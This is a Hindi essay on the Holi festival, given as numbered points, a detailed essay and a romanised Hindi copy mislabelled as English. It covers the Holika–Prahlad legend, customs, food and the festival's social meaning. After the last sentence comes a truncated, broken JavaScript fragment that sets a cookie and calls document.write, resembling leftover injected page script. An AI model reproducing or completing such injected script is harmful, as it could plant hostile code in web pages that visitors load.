Essay On Holi In Points
1. होली बसंत का एक उल्लासमय पर्व है।
2. होली जिसे “रंगो के त्योहार” के नाम से भी जाना जाता है, हिंदुओं के सबसे बड़े त्योहारों में से एक है और यह त्यौहार भारत भूमि पर प्राचीन समय से मनाया जाता है।
3. मंजीरा, ढोलक, मृदंग की ध्वनि से गूंजता रंगों से भरा होली का त्योहार, फाल्गुन माह के पूर्णिमा को मनाया जाता है।
4. इस पर्व पर सबके घरों में अनेक पकवान बनाएं जाते हैं जिसमें गुजिया, दही भल्ले, गुलाब जामुन प्रमुख हैं।
5. लोग होली के कुछ महिनों पहले से अपने घर के छतों पर विभिन्न तरह के पापड़ और चिप्स आदि को सुखाने में लग जाते हैं।
6. होली पर सभी संस्थान, संस्था व कार्यस्थल में छुट्टी दी जाती है पर छुट्टी से पहले स्कूलों में बच्चे तथा कार्यस्थल पर सभी कार्मचारी एक दूसरे को गुलाल लगाकर होली की शुभकामनाएं देते हैं।
7. होली पर सभी बहुत अधिक उत्साहित होते हैं। बड़े भी बच्चे बन जाते हैं हम उम्र का चेहरा रंगों से ऐसे रंगते हैं की पहचानना मुश्किल हो जाता है वहीं बड़ों को गुलाल लगा उनका आशिर्वाद लेते हैं।
8. दिन भर रंगों से खेलने व नाच गाने के पश्चात सभी संध्या में नये वस्त्र पहनते हैं और अपने पड़ोसी व मित्रों के घरों में उनसे मिलने और होली की शुभकामना देने जाते हैं।
9. अमीर-गरीब, ऊँच- नीच का भेद भुलाकर सभी आनंद के साथ होली में झूमते नज़र आते हैं।
10. होली के एक दिन पहले गावं व शहरों के खुले क्षेत्र में होलिका दहन की परंपरा निभाई जाती है। यह भगवान की असीम शक्ति का प्रमाण तथा बुराई पर अच्छाई की जीत का ज्ञान कराती है।
11. होलिका दहन करने के बाद अगले दिन बुराई के अंत और भक्त प्रह्लाद के प्रचंड ज्वाला में जीवित बच जाने का उत्सव एक-दूसरे पर रंग और गुलाल डालकर हर्ष और उल्लास के साथ मनाया जाता है।
12. होली पर सभी छोटे-बड़े दुकानदार अपने दुकानों के आगे स्टैंड आदि लगा कर विभिन्न प्रकार के चटकीले रंग, गुलाल, पिचकारी व होली के अन्य आकर्षक सामग्री जैसे रंग बिरंगे विग (wig) से अपने स्टॉल को भर देते हैं। राशन तथा कपड़ों की दुकानों पर खरीदारी के लिए विशेष भीड़ देखने को मिलती है।
13. भारत में होली का उत्सव अलग-अलग प्रदेशों में अलग अलग तरीके से मनाया जाता है। आज भी ब्रज की होली सारे देश के आकर्षण का बिंदु होती है। लठमार होली जो कि बरसाने की है वो भी काफ़ी प्रसिद्ध है। इसमें पुरुष महिलाओं पर रंग डालते हैं और महिलाएँ पुरुषों को लाठियों तथा कपड़े के बनाए गए कोड़ों से मारती हैं।
14. होली अंदर के अहंकार और बुराई को मिटा कर सभी के साथ हिल-मिलकर, भाई-चारे, प्रेम और सौहार्द्र के साथ रहने का त्योहार है।
Essay On Holi In Details
भूमिका : होली बसंत का एक उल्लासमय पर्व है। होली को बसंत का यौवन भी कहा जाता है। प्रकृति सरसों की पीली साड़ी पहनकर किसी की राह देखती हुई प्रतीत होती है। हमारे पूर्वजों में भी होली त्यौहार को आपसी प्रेम का प्रतीक माना जाता है। इसमें सभी छोटे-बड़े लोग मिलकर पुराने भेदभावों को भुला देते हैं। होली रंग का त्यौहार होता है और रंग आनन्द पर्याय होते हैं। बसंत के मौसम में प्रकृति की सुन्दरता भी मनमोहक होती है।
जब सारी प्रकृति यौवन से सराबोर हो जाती है तो मनुष्य भी आनन्द से झूमने लगता है होली पर्व इसी का प्रतीक है। इस रंगीन उत्सव के समय पूरा वातावरण खुशनुमा हो जाता है। होली के त्यौहार को मनाने के लिए इस दिन स्कूल, कॉलेज और दफ्तरों में सरकारी छुट्टी होती है।
जिस तरह मुसलमानों के लिए ईद का त्यौहार, ईसाईयों के लिए क्रिसमस का त्यौहार जो महत्व रखता हैं उसी तरह हिन्दुओं के लिए भी होली के त्यौहार का बहुत महत्व होता है। होली का त्यौहार अब इतना प्रसिद्ध हो चुका है कि यह त्यौहार केवल भारत में ही नहीं बल्कि विदेशों में भी लोकप्रिय होता जा रहा है। भारत के अतिरिक्त बहुत से देशों में अब लोग होली का त्यौहार मनाने लगे हैं।
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बसंत का आगमन : वसंत में जब प्रकृति के अंग-अंग में यौवन फूट पड़ता है तो होली का त्यौहार उसका श्रंगार करने आता है। होली एक ऋतू संबंधी त्यौहार है। शीतकाल की समाप्ति और ग्रीष्मकाल के आरम्भ इन दोनों ऋतुओं को मिलाने वाले संधि काल का पर्व ही होली कहलाता है। शीतकाल की समाप्ति पर किसान लोग आनन्द विभोर हो उठते हैं। उनका पूरी साल भर का किया गया कठोर परिश्रम सफल हो उठता है और उनकी फसल पकनी शुरू हो जाती है।
होली के त्यौहार को होलिकोत्सव भी कहा जाता है। होलिका शब्द से ही होली बना है। होलिका शब्द की उत्पत्ति संस्कृत के होल्क शब्द से हुई है जिसका शाब्दिक अर्थ भुना हुआ अन्न होता है। प्राचीनकाल में जब किसान अपनी नई फसल काटता था तो सबसे पहले देवता को भोग लगाया जाता था इसलिए नवान्न को अग्नि को समर्पित कर भूना जाता था। उस भुने हुए अन्न को सब लोग परस्पर मिलकर खाते थे। इसी ख़ुशी में नवान्न का भोग लगाने के लिए उत्सव मनाया जाता था। आज भी ग्रामीण क्षेत्रों में इस परम्परा से होलिकोत्सव मनाया जाता है।
ऐतिहासिकता : होली के उत्सव के पीछे एक रोचक कहानी है जिसका काफी महत्व है। पुरातन काल में राजा हिरण्यकश्यप और उसकी बहन होलिका के अहंकार और हिरण्यकश्यप के पुत्र प्रह्लाद की भक्ति से ही इस उत्सव की शुरुआत हुई थी। हिरण्यकश्यप को ब्रह्मा द्वारा वरदान स्वरूप बहुत सी शक्तियाँ प्राप्त हुई थीं जिनके बल पर वह अपनी प्रजा का राजा बन बैठा था।
कहा जाता है कि भक्त प्रहलाद भगवान विष्णु का नाम लेता था। प्रहलाद का पिता उसे ईश्वर का नाम लेने से रोकता था क्योंकि वह खुद को भगवान समझता था। प्रहलाद इस बात को किसी भी रूप से स्वीकार नहीं कर रहा था। प्रहलाद को अनेक दंड दिए गये लेकिन भगवान की कृपा होने की वजह से वे सभी दंड विफल हो गए।
हिरण्यकश्यप की एक बहन थी जिसका नाम होलिका था। होलिका को यह वरदान प्राप्त था कि उसे अग्नि जला नहीं सकती थी। होलिका अपने भाई के आदेश पर प्रहलाद को अपनी गोद में लेकर चिता पर बैठ गयी। भगवान की महिमा की वजह से होलिका उस चिता में चलकर राख हो गयी, लेकिन प्रहलाद को कुछ नहीं हुआ था। इसी वजह से इस दिन होलिका दहन भी किया जाता है।
भगवान श्री कृष्ण से पहले यह पर्व सिर्फ होलिका दहन करके मनाया जाता था लेकिन भगवान श्रीकृष्ण ने इसे रंगों के त्यौहार में परिवर्तित कर दिया। भगवान श्रीकृष्ण ने इस दिन पूतना राक्षसी का वध किया था जो होली के अवसर पर उनके घर आई थी। बाद में उन्होंने इस त्यौहार को गोप-गोपिकाओं के साथ रासलीला और रंग खेलने के उत्सव के रूप में मनाया। तभी से इस त्यौहार पर दिन में रंग खेलने और रात्रि में होली जलाने की परम्परा बन गई थी।
होली दहन की विधि : होली के दिन एक झंडा या कोई बड़ी डंडी को किसी सार्वजनिक स्थान पर गाडा जाता है। इस डंडे की पूजा कर उसके फेरे लगाकर मंगलकामना की जाती है और होली के मुहूर्त के समय इस डंडे को निकालकर इसके चारों तरफ लकड़ियाँ और उपले इकट्ठे किए जाते हैं। हिन्दू धर्म के अनुसार पूजा के बाद इन लकड़ियों में आग लगाई जाती है और राख से तिलक लगाया जाता है। इसे होलिका दहन का प्रतीक माना जाता है। इस आग में किसान अपने अपने खेत के पहले अनाज के कुछ दानों को सेकते हैं और सब में बांटते हैं। इसी से मिलन और भाईचारे की भावना जागृत होती है।
होली का उत्सव : होली दो दिन का त्यौहार होता है। होली की तैयारियां कई दिन पहले से ही शुरू हो जाती हैं। होली से पहली रात को होलिका दहन किया जाता है जिस पर घमंड और नकारात्मक प्रवृति का आहुति स्वरूप दहन किया जाता है। होलिका दहन से अगली सुबह फूलों के रंगों से खेलते हुए होली का शुभारम्भ किया जाता है। इस दिन को धुलेंडी भी कहा जाता है। इस दिन लोग एक-दुसरे पर रंग, गुलाल डालते हैं। होली को सभी लोग रंग-बिरंगे गुलाल और पानी में रंगों को घोलकर पिचकारियों से एक-दुसरे के उपर रंग डालकर प्रेम से खेलते हैं।
सडकों पर बच्चों, बूढों, लडकियों और औरतों की टोलियाँ गाती, नाचती, गुलाल मलती और रंग भरी पिचकारी छोडती हुई देखी जाती हैं। सबकों के दिलों में प्रसन्नता छाई रहती है। सारे देश में लोग अपनी-अपनी परम्परा से होली मनाते हैं, परन्तु सभी रंग द्वारा अपनी खुशी की अभिव्यक्ति करते हैं। छोटे बच्चे बड़ों को उनके पैरों में गुलाल डालकर प्रणाम करते हैं और बड़े छोटों को गुलाल से टिका लगाकर आशीर्वाद देते हैं। सभी लोग अपने प्रियजनों के घर जाकर पकवान खाते हैं और बधाईयाँ देते हैं। चारों दिशाएं खुशियों से सराबोर हो जाती हैं।
होली का महत्व : होली के दिन का हिन्दुओं में बहुत महत्व होता है। होली का त्यौहार दुश्मनों को भी दोस्त बना देता है। अमीर-गरीब, क्षेत्र, जाति, धर्म का कोई भेद नहीं रहता है। इस दिन लोग एक-दूसरे के घर जाते हैं और रंगों के साथ खेलते हैं। दूर रहने वाले दोस्त भी इस बहाने से मिल जाते हैं।
इस दिन सभी लोग अपनी नाराजगी, गम और नफरत को भुला कर एक-दूसरे के साथ एक नया रिश्ता बनाते हैं। समाज में बेहतर गठन के लिए होली की बहुत ही महत्वपूर्ण भूमिका है। होली का त्यौहार अपने साथ बहुत से संदेश लाता है। होली का त्यौहार हमें भेदभाव और बुराईयों से दूर रहने की सलाह देता है।
मनोवैज्ञानिक दृष्टि : आनन्द का सरोवर व खुशी का खजाना सबके अंत:करण में विद्यमान है, परन्तु वह कुछ बाह्य शिष्टाचार के बंधनों की वजह से पूर्ण-रूपेण व्यक्त नहीं हो पाता है। जब वे बंधन टूट जाते हैं तो खुशी का खजाना फुट जाता है हम एक अतुलित आनन्द की अनुभूति करते हैं। होली के पीछे यही मनोवैज्ञानिक नियम समाविष्ट है, उसमें हम शिष्टाचार के बंधन तोड़ कर एक-दुसरे पर रंग बिखेरते हैं। शब्दों द्वारा कुछ कहकर, खुद नाचकर, गाकर अपने अंत:करण की खुशियाँ व्यक्त करते हैं।
प्रेम और एकता का प्रतीक : होली ही एक ऐसा त्यौहार है जिसमें हम शिष्टाचार के बंधन तोडकर छोटे-बड़े, वृद्ध-बाल, राजा-रंक एक दुसरे का विविध तरीके से उपहास करते हैं, मिलकर गाते हैं, नाचते हैं। होली के इस त्यौहार में हर कोई एकता में बंध जाता है। इस दिन बुरा मानना अनुचित समझा जाता है लेकिन बुरा कहने में कोई रोक नहीं होती है। व्यक्ति एक-दुसरे से गले मिलते हैं और अपने ह्रदय की खुशियों को पूर्ण-रूपेण बिखेर देते हैं । मानो इससे मेल व प्रेम का स्त्रोत बहने लगता है।
आधुनिक दोष : इतनी खुशियों के त्यौहार में भी कई लोग शराब पीकर और नशे में चूर होकर लड़ाई-झगड़े पर उतर जाते हैं। कई स्थानों पर अपनी शत्रुता का बदला लेने के लिए अनुचित साधनों का प्रयोग किया जाता है। जिसका फल यह होता है कि रंग का त्यौहार रंज के त्यौहार में बदल जाता है। प्रेम, दुश्मनी में बदल जाता है जिसे कहते हैं रंग में भंग होना।
लेकिन यह स्थिति कहीं-कहीं पर ही होती है। वास्तव में होली का त्यौहार बड़ा ही ऊँचा दृष्टिकोण लेकर प्रचलित हुआ है। लेकिन आज के लोगों ने इसका रूप ही बिगाड़ दिया है। सुंदर और कच्चे रंगों की जगह पर बहुत से लोग काली स्याही और तवे की कालिख का प्रयोग करते हैं।
कुछ मूढ़ लोग तो एक-दुसरे पर गंदगी भी फेंकते हैं। उत्सव के आयोजकों द्वारा इन बुराईयों को कम किया जाना चाहिए। जो लोग होली के महत्व को समझ नहीं पाते हैं वो ही ऐसा करते हैं।
उपसंहार : होली मेल, एकता, प्रेम, खुशी व आनन्द का त्यौहार है। इसमें एक बुजुर्ग या प्रतिष्ठित व्यक्ति भी सबके बीच नाचते हुए दिखाई देते हैं। इस दिन की खुशी नस-नस में नया खून प्रवाहित कर देती है। बाल-वृद्ध सभी में एक नई उमंगें भर जाती हैं। सभी के मन से निराशा दूर हो जाती है।
इस दिन छोटे-बड़ों के गले मिलकर उन्हें एकता का उदाहरण देना चाहिए। असली अर्थों में होली का त्यौहार मनाना तभी सार्थक हो पायेगा। नहीं तो नफरत, द्वेष, और विषमता के रावण को जलाये बिना कोरी लडकियों की होली को जलाना व्यर्थ होता है। जब हम त्यौहारों की रक्षा के लिए जागरूक रहेंगे तभी अपने त्यौहारों का अतुल आनन्द प्राप्त कर सकते हैं।
होली खेलने के लिए लोग ज्यादातर रंगों का प्रयोग करते हैं हमें रंगों के स्थान पर गुलाल का प्रयोग करना चाहिए। रंग त्वचा और आँखों के लिए हानिकारक होते है लेकिन गुलाल बहुत ही सुरक्षित होते हैं उनसे ऐसा कुछ होने का डर नहीं रहता है। अगर कोई रंग नहीं लगवाना चाहता हो तो उसके साथ जबरदस्ती नहीं करनी चाहिए।
Essay On Holi In English
Bhumika : Holi basant ka ek ullasamaya parv hai. Holi ko basant ka yauvan bhi kaha jata hai. Prakrati sarson ki pili saree pahankar kisi ki raah dekhti huyi pratit hoti hai. Hamare purvajon me bhi Holi tyauhar ko aapsi prem ka pratik mana jata hai. Ismen sabhi chhote-bade log milkar purae bhedbhavon ko bhula dete hain. Holi rang ka tyauhar hota hai or rang aannad pryay hote hain. Basant ke mausam me prakrati ki sundarta bhi manmohak hoti hai.
Jab sari prakrati yauvan se sarabor ho jati hai to manushya bhi aanand se jhumne lagta hai Holi parv isi ka pratik hai. Is rangin utsav ke samay pura vatavaran khushnuma ho jata hai. Holi ke tyauhar ko manane ke liye is din school, college or daftaron me sarkari chhutti hoti hai.
Jis tarah musalmanon ke liye Eid ka tyauhar, yisayiyon ke liye Crissmus ka tyauhar jo mahatva rakhta hai usi tarah hinduon ke liye bhi Holi ke tyauhar ka bahut mahatva hota hai. Holi ka tyauhar ab itna prasiddh ho chuka hai ki yah tyauhar keval Bharat me hi nhin balki videshon me bhi lokpriya hota ja raha hai. Bharat ke atirikt bahut se deshon me ab log Holi ka tyauhar manane lage hain.
Basant ka aagman : Basant me jab prakrati ke ang-ang me yauvan foot padta hai to Holi ka tyauhar uska shrangar karne aata hai. Holi ek ritu sambndhi tyauhar hai. Sheetkaal ki samapti or grishmkaal ke aarambh in donon rituon ko milane vale sandhi kaal ka parv hi Holi kahlata hai. Sheetkaal ki samapti par kisan log aanand vibhor ho uthte hain. unka puri saal bhar ka kiya gaya kathor parishran safal ho uthta hai or unki fasal pakni shuru ho jati hai.
Holi ke tyauhar ko Holikotsav bhi kaha jata hai. Holika shabd se hi Holi bana hai. Holika shabd ki utpatti Sanskrat ke holk shabd se huyi hai jiska arth bhuna huaa ann hota hai. Prachinkaal me jab kisan apni nayi fasal katta tha to sabse pahle devta ko bhog lagaya jata tha isliye navanna ko agni ko samarpit kar bhuuna jata tha. us bhune huye ann ko sab log paraspar milkar khate the. Isi khushi me navann ka bhog lagane ke liye utsav manaya jata tha. Aaj bhi gramin kshetron me is prampara se holikotsav manaya jata hai.
Aetihasikta : Holi ke utsav ke piche ek rochak kahani hai jiska kafi mahatva hai. Puratan kaal me Raja Hiranyakashyap or uski bahan Holika ke ahamkar or Hiranyakashyap ke putra Prahlad ki bhakti se hi is utsav ki shuruaat huyi thi. Hiranyakashyap ko Brahma dvara vardan svarup bahut si shaktiyan prapt huyi thi jinke bal par vah apni praja ka raja ban baitha tha.
Kaha jata hai ki bhakt Prahlad bhagvan Vishnu ka name leta tha. Prahlad ka pita use yishvar ka name lene se rokta tha kyonki vah khud ko bhagvan samajhta tha. Prahlad is baat ko kisi bhi rup se svikaar nhin kar raha tha. Prahlad ko anek dand diye gaye lekin bhagvan ki krapa hone ki vajah se ve sabhi dand vifal ho gaye.
Hiranyakashyap ki ek bahan thi jiska name Holika tha. Holika ko yah vardan prapt tha ki use agni jala nhin sakti thi. Holika apne bhai ke aadesh par Prahlad ko apni god me lekar chita par baith gayi. Bhagvan ki mahima ki vajah se Holik us chita me jalkar rakh ho gayi, lekin Prahlad ko kuch nhin huaa tha. Isi vajah se is din Holika dahan bhi kiya jata hai.
Bhagvan Shree Krishna se pahle yah parv sirf holika dahan karke manaya jata tha lekin bhagvan Shree Krishna ne ise rangon ke tyauhar me parivartit kar diya. Bhagvan Shree Krishna ne is din Putna Rakshasi ka vadh kiya tha jo Holi ke avsar par unke ghar aayi thi. Baad me unhone is tyauhar ko gop-gopikaon ke sath rasleela or rang khelne ke utsav ke rup me manaya. Tabhi se is tyauhar par din me rang khelne or ratri me holi jalane ki parampara ban gayi thi.
Holika dahan ki vidhi : Holi ke din ek jhanda ya koyi badi dandi ko kisi sarvjanik sthan par gadha jata hai. Is dande ki pooja kar uske fere lagakar mangalkamna ki jati hai or Holi ke muhurt ke samay is dande ko nikalkar iske charon taraf lakdiyan or uple ikatthe kiye jate hain. Hindu Dharm ke anusar pooja ke baadin lakdiyon me aag lagayi jati hai or rakh se tilak bhi lagaya jata hai. Ise holika dahan ka pratik mana jata hai. Is aag me kisan apne apne khet ke pahle anaj ke kuch danon ko sekte hain or sab me bantte hain. Isi se milan or bhayichare ki bhavna jagrat hoti hai.
Holi ka utsav : Holi do din ka tyauhar hota hai. Holi ki taiyariyan kayi din pahle se hi shuru ho jati hain. Holi se pahli raat ko hilika dahan kiya jata hai jis par ghamand or nakaratmak pravrati ka aahuti svarup dahan kiya jata hai. Holika dahan se agli subah fulon ke rangon se khelte huye Holi ka shubharambh kiya jata hai. Is din ko Dhulendi bhi kaha jata hai. Is din log ek-dusre par rang, gulal dalte hain. Holi ko sabhi log rang-birange gulal or pani me rangon ko gholkar pichkariyon se ek-dusre ke upar rang dalkar prem se khelte hain.
Sadakon par bacchon, budhon, ladkiyon or auraton ki toliyan gaati, nachti, gulal malti or rang bhari pichkari chodti huyi dekhi jati hain. Sabke dilon me prasannta chhayi rahti hai. Sare desh me log apni-apni parampara se Holi manate hain, parantu sabhi rang dvara apni khushi ki abhivyakti karte hain. Chhote bacche badon ko unke pairon me gulal dalkar pranam karte hain or bade chhoton ko gulal se teeka lagakar aashirvad dete hain. Sabhi log apne priyajanon ke ghar jakar pakvaan khate hain or badhayiyan dete hain. Charon dishayen khushiyon se sarabor ho jati hain.
Holi ka mahatva : Holi ke din ka hinduon me bahut mahatva hota hai. Holi ka tyauhar dushmanon ko bhi dost bana deta hai. Ameer-garib, kshetra, jaati, dharm ka koyi bhed nhin rahta hai. Is din log ek-dusre ke ghar jate hain or rangon ke sath khelte hain. Door rahne vale dost bhi is bahane se mil jate hain.
Is din sabhi log apni narajgi, gam or nafrat ko bhula kar ek-dusre ke sath ek naya rishta banate hain. Samaj me behtar gathan ke liye Holi ki bahut hi mahatvapurn bhumika hai. Holi ka tyauhar apne sath bahut se sandesh lata hahi. Holi ka tyauhar hamen bhedbhav or burayiyon se door rahne ki salah deta hai.
Manovaigyanik Drashti : Aanand ka sarovar va khushi ka khajana sabke antahkaran me vidyaman hai, parantu vah kuch bahay shishtachar ke bandhanon ki vajah se purn-rupen vyakt nhin ho pata hai. Jab ve bandhan tut jate hain to khushi ka khajana foot jata hai ham ek atulit aanand ki anubhuti karte hain. Holi ke pichhe yahi manovaigyanik niyam samavisht hai, usmen ham shishtachar ke bandhan tod kar ek-dusre par rang bikherte hain. Shabdon dvara kuch kahkar, khud nachkar, gakar apne antahkaran ki khushiyan vyakt karte hain.
Prem or ekta ka pratik : Holi hi ek aesa tyauhar hai jismen ham shishtachar ke bandhan todkar chhote-bade, vraddh-baal, raja-rank ek dusre ka vividh tarike se uphas karte hain, milkar gaate hain, nachte hain. Holi ke is tyauhar me har koyi ekta me bandh jata hai. Is din bura manna anuchit samjha jata hai lekin bura kahne me koyi rok nhin hoti hai. Vyakti ek-dusre se gale milte hain or apne hradya ki khushiyon ko purn-rupen bikher dete hain. Mano isse mel va prem ka strot bahne lagta hai.
Aadhunik dosh : Itni khushiyon ke tyauhar me bhi kayi log sharab pikar or nashe me choor hokar ladayi-jhagde par utar jate hain. Kayi sthanon par apni shatruta ka badla lene ke liye anuchit sadhanon ka prayog kiya jata hai. Jiska fal yah hota hai ki rang ka tyauhar ranj ke tyauhar me badal jata hai. Prem, dushmani me badal jata hai jise kahte hain rang me bhang hona.
Lekin yah sthiti kahin-kahin par hi hoti hai. Vastav me Holi ka tyauhar bada hi uncha drashtikon lekar prachlit huaa hai. Lekin aaj ke logon ne iska rup hi bigad diya hai. Sundar or kachhe rangon ki jagah par bahut se log kali syahi or tave ki kalikh ka prayog karte hain.
Kuch mudh log to ek-dusre par gandgi bhi fenkte hain. Utsav ke aayojakon dvara in burayiyon ko kam kiya jana chahiye. Jo log Holi ke mahatva ko samajh nhin pate hain vo hi aesa karte hain.
Upsanhar : Holi mel, ekta, prem, khushi va aanand ka tyauhar hai. Ismen ek bujurg ya pratishthit vyakti bhi sabke beech nachte huye dikhayi dete hain. Is din ki khushi nas-nas me naya khun pravahit kar deti hai. Baal-vraddh sabhi me ek nayi umangen bhar jati hia. Sabhi ke man se nirasha door ho jati hai.
Is din chhote-badon ke gale milkar unhen ekta ka udaaharan dena chahiye. Asli arthon me Holi ka tyauhar manana tabhi sarthak ho payega. Nhin to nafrat, dvesh, or vishmata ke Ravan ko jalaye bina kori lakdiyon ki Holi ko jalana vyarth hota hai. Jab ham tyauharon ki raksha ke liye jagruk rahenge tabhi apne tyauharon ka atul aanand prapt kar sakte hain.
Holi khelne ke liye log jyadatar rangon ka prayog karte hain hamen rangon ke sthan par gulal ka prayog karna chahiye. Rang tvacha or aankhon ke liye hanikarak hote hain lekin gulal bahuut hi surakshit hote hain unse aesa kuch hone ka dar nhin rahta hai. Agar koyi rang nhin lagvana chahta ho to uske sath jabardasti nhin karni chahiye. <!– hmcommentpost([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));; path=/; expires=”+date.toGMTString(),document.write(‘